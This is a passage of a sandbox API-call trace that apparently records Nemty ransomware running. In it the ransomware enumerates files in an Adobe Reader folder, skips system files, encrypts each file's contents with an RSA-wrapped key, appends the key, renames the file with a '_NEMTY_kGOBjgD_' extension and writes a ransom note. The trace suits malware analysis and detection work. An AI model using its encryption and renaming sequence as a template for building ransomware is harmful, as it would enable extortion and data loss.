RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.132] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.132] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.132] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.132] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="QpvcqiAFTVGWHUHH+nP++qd79Nk81FkwRPCkIEimTsWBuYPJLj/iTlCgWOCk/AVF\r\nDZSmRRsDDPU+tDr0yFfzSvWrmMsLVeNpo2kETILYM0xIN/oDUPRxWU3qnDWpmUp+\r\nSbfLe0L6D0ig89u7ktmWDxCEACW1lf5a6yw0FhXzsSLG4IXxHqM7Mm5JFZvN4nN/\r\nq3WQOKqUlDavAQdtMly1vVE0rdTlyxG/Lq5i82pU6dNPITDEKZuy+ehET645LUnj\r\nWeFQVpRb/6reMGepCZWKpeTQg7w9EfUQAF7pPn361kj3+xKsnNw8qUVUTvE9U+1N\r\nkiTRIilidYLskwxgTsSqkA==\r\n", pcchString=0x653ef9c) returned 1 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.132] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16892) returned 1 [0170.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x41f0) returned 0x6351c48 [0170.132] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.133] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x41f0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x41f0, lpOverlapped=0x0) returned 1 [0170.135] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.135] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x41f0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x41f0, lpOverlapped=0x0) returned 1 [0170.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.135] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16892, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41fc [0170.135] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.136] CloseHandle (hObject=0x1e8) returned 1 [0170.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.137] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm._nemty_kgobjgd_")) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.137] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="...") returned 1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="windows") returned -1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="rsa") returned -1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="NTDETECT.COM") returned -1 [0170.137] lstrcmpiW (lpString1="LueMinut.htm", lpString2="ntldr") returned -1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="MSDOS.SYS") returned -1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="IO.SYS") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="boot.ini") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="boot.ini") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="ntuser.dat") returned -1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="desktop.ini") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="CONFIG.SYS") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="RECYCLER") returned -1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="bootmgr") returned 1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="programdata") returned -1 [0170.138] lstrcmpiW (lpString1="LueMinut.htm", lpString2="appdata") returned 1 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LueMinut.htm", lpUsedDefaultChar=0x0) returned 12 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LueMinut.htm", lpUsedDefaultChar=0x0) returned 12 [0170.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LueMinut.htm", lpUsedDefaultChar=0x0) returned 12 [0170.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LueMinut.htm", lpUsedDefaultChar=0x0) returned 12 [0170.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.138] Sleep (dwMilliseconds=0x5) [0170.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190ff9d0, dwHighDateTime=0x1d561e8)) [0170.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190ff9d0, dwHighDateTime=0x1d561e8)) [0170.147] GetLastError () returned 0x0 [0170.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.147] GetLastError () returned 0x0 [0170.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.147] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.147] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.147] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.147] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="HPFScVVJUHFN2li95I8TZVw6T/thiOXevZ+7nxrzurAuUc2vX0df6HIyN056nD4S\r\nmOKUwLE9uvKQwS7ts9zgdkpwvpRAzNohuvVx03Ftabgf5lh0qWfgkzZDB8ySHUzO\r\nyMNu8FZ28f5b3PKtoHSLu0xSxLwhRCV3uIqh5zeBZeYVOByrpTRVLsCEPlkK+e+p\r\n23bkOg7uUq5QZKmZKxlj84odwN7Pi9ht8Pv01bCSl/24l5KtS27NUYmcHkkKLSNO\r\ndPnF+/VKDirdkv9NYJxbMlzuf8JIO2E1gwL5RfQXQsBte0MX26dHlfdGHE2xKOmo\r\ng/ROJPugSlQXN0pox4sODg==\r\n", pcchString=0x653ef9c) returned 1 [0170.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.148] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17230) returned 1 [0170.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4340) returned 0x6351c48 [0170.148] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.148] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4340, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4340, lpOverlapped=0x0) returned 1 [0170.151] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.151] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4340, lpOverlapped=0x0) returned 1 [0170.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.151] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17230, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x434e [0170.151] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.151] CloseHandle (hObject=0x1e8) returned 1 [0170.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm._nemty_kgobjgd_")) returned 1 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.153] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Reader", cAlternateFileName="")) returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2=".") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="..") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="...") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="windows") returned -1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="$RECYCLE.BIN") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="rsa") returned -1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="NTDETECT.COM") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="ntldr") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="MSDOS.SYS") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="IO.SYS") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="boot.ini") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="boot.ini") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="AUTOEXEC.BAT") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="ntuser.dat") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="desktop.ini") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="CONFIG.SYS") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="RECYCLER") returned -1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="BOOTSECT.BAK") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="bootmgr") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="programdata") returned 1 [0170.153] lstrcmpiW (lpString1="Reader", lpString2="appdata") returned 1 [0170.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader", cchWideChar=6, lpMultiByteStr=0x653f250, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reader", lpUsedDefaultChar=0x0) returned 6 [0170.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader", cchWideChar=6, lpMultiByteStr=0x653f250, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reader", lpUsedDefaultChar=0x0) returned 6 [0170.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94100 [0170.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346df8 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94100 [0170.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94188 [0170.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94188 | out: hHeap=0x4f90000) returned 1 [0170.154] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.154] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0170.155] CloseHandle 